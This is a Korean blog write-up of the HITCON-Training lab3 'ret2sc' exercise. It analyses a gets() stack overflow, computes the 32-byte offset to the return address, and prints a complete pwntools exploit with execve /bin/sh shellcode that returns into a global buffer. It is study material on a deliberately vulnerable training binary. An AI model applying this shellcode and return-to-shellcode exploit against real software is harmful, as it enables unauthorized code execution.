혜랑's STORY

[HITCON-Training] lab3 - ret2sc 본문

2021 SISS 21기 활동/1학기 시스템

[HITCON-Training] lab3 - ret2sc

hyerang0125 2021. 3. 30. 21:36

# checksec을 통해 보호기법 및 파일 유형 체크하기

확인해 본 결과 ret2sc는 32 bit 파일이고, 보호기법이 없다. 따라서 앞서 정리한 Return to Shellcode를 사용해 프로그램의 흐름을 변경할 수 있을 것 같다.

# IDA를 통해 Pseudo code 확인하기

  • read(0, &name, 0x32u) : read 함수로 사용자로부터 50 바이트를 입력받는다.

0x32 계산

  • gets(&s) : gets() 함수로 s변수에 입력받은 문자열을 저장 -> 길이에 제한 없음. 버퍼오버플로우 취약점 발생

-> name 변수에 shellcode를 저장하고 gets 함수로 payload를 전달해 return address에 name의 주소를 저장하면 RET 명령어로 해당 주소로 리턴하여 쉘코드를 실행할 수 있다.

수도코드에서 &name 두 번 클릭

  • name의 주소는 0x0804A060 이다.
  • ebp-14를 통해 s의 크기가 20 byte라는 것을 알 수 있다.

0x14 계산

# S 에서 Return address 까지의 거리 구하기

  • 0x080484cd : main() 함수의 첫 번째 명령어 - 스택의 시작
  • 0x08048536 : gets() 함수 호출 - 버퍼오버플로우 취약점 발생
  • 0x0804853d : main() 함수의 ret 명령어

다음과 같이 Return address를 확인할 수 있다.

  • esp 레지스터가 가리키고 있는 최상위 Stack 메모리는 0xffffcfac이다. 

  • s의 시작 주소는 0xffffcf8c이다.

  • Return address와 32bytes 떨어져 있다.

-> 즉, 사용자 값으로 문자를 32개 이상 입력하면, Return address를 덮어 쓸 수 있다.

다음과 같이 Return address 값이 변경된 것을 확인할 수 있다. ('A'로 도배됨)

-> 즉, 32개의 문자를 입력 후 shellcode가 있는 주소를 저장하면 Return address를 덮어 쓸 수 있다.

 

# Payload

앞에서 확인한 내용을 바탕으로 아래와 같이 Exploit code를 작성할 수 있다.

#exploit.py
from pwn import *

p = process('./ret2sc')

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

payload = "\x90"*32
payload += p32(0x804a060)

p.sendlineafter(":", shellcode)
p.sendlineafter(":", payload)

p.interactive()

 

# Exploit

해당 Exploit code를 실행하여 shell을 획득한다.

 

'2021 SISS 21기 활동 > 1학기 시스템' 카테고리의 다른 글

[HackCTF] Basic_BOF #1  (0) 2021.04.09
[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2021.04.02
[TAMU CTF 2018] pwn3  (0) 2021.03.31
[Lazenca] Return to Shellcode  (0) 2021.03.30
IDA Pro 7.0 & pwntools  (0) 2021.03.26